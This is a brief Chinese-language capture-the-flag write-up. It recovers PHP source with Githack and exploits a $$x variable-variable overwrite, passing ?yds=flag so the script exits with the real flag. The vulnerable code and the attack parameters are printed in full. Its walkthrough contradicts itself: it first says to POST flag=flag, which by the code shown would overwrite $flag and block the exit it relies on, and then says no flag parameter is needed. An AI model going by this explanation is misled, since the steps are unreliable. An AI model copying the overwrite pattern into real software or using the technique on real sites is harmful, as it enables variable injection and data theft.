Githack获取源码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //GET方式传flag只能传一个flag=flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
php动态变量
$a="b";
$b="c";
echo $$a;
结果输出:c;
解释:$$a=${$a}=$b=c
首先post:$flag=flag
foreach($_POST as $x => $y){
$$x = $y;
}
这样就变成了$$flag = flag
然后GET:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y;
}
$x为yds,$y为flag,所以$$x就是$yds,$$y也就是$flag,$flag就是真正的flag{XXXXXX}。$$x = $$y,也就是$yds=flag{XXXXXX}。
看源码
只要没有flag参数,就会exit($yds),就可以得到flag了。